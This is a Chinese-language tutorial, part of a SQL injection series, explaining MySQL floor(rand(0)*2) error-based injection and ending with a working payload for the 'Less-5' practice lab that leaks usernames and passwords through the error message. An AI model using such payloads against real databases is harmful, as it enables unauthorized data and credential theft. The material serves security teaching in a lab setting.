SQL注入(6):floor报错
涉及到的函数
- rand()函数:随机返回0~1之间的小数
1 | select rand(); |
计算结果在0~1之间
1 | select rand()*2; |
计算结果在0~2之间
1 | select rand() from users; |
根据表users的行数随机显示结果
1 | select rand(num); |
将数字num作为种子生成随机数,将可能产生相同的随机数
- floor()函数:小数向下取整数。ceiling():向上取整数。
1 | select floor(rand()*2); |
结果随机为0或者1
- concat_ws():将括号内数据用第一个字段连接起来
1 | select concat_ws('-', (select database()), floor(rand()*2)) from users; |
- group by:分组
1 | select concat_ws('-', (select database()), floor(rand()*2)) as a from users group by a; |
- count():汇总统计数量
1 | select count(*),concat_ws('-', (select database()), floor(rand()*2)) as a from users group by a; |
利用这个命令我们可以统计分组后各自的总数
但是,这个命令偶尔会报错
这里会出现我们的查询结果security-1
,这个结果如果我们替换成我们需要的结果,就可以成功达到注入的效果。为了稳定触发这个报错,我们需要了解这个报错的触发原因。
- limit:用于显示指定行数
报错触发原理
报错的原因在于统计分组的时候,分组的名字即security-1
、security-2
发生了重复,导致了报错。
导致这个报错的真正原因在于:**rand函数在进行分组group by和统计count时可能会多次执行,导致键值key重复。**如何理解这句话呢?我们来阐述一下这整个统计过程
floor(rand()*2)
产生了一列随机数- 使用concat_ws进行拼接
- group by和count进行统计数量,逐一统计计数
问题出现在统计记数这个过程中:
统计时发现key值不存在时,会重新计算concat_ws('-', (select database()), floor(rand(0)*2))
再填入key内。
- 假设第一次rand得到的是
security-1
,发现不存在,然后重新计算得到security-1
填入key的空位; - 第二次我们rand得到了
security-0
,发现也不存在,然后重新计算得到security-1
,但是仍然会填入key的空位中
这就导致了在统计表中出现了两个security-1
的key,就导致了报错。
有了原理,我们就可以根据原理来稳定使得其报错。使用rand(num)
得到不随机的随机数,然后尝试出稳定报错的num
,再次构造上面的语句。
1 | select count(*),concat_ws('-', (select database()), floor(rand(0)*2)) as a from users group by a; |
from users
的作用是产生足够多次的计算。在注入时,一般会使用行数比较多的默认数据表information_schema.tables
这样就得到稳定能够报错的语句,到现在为止,我们只需要修改(select database())
,改成我们需要的语句就可以利用报错注入SQL了。
例子Less-5
对于例子5,我们就直接构造出语句即可:
1 | ?id=0' union select 1,count(*),concat_ws('-', (select concat('~',id,username,':',password) from users limit 0,1), floor(rand(0)*2)) as a from information_schema.tables group by a --+ |
利用limit 0,1
可以将数据逐行显示在错误内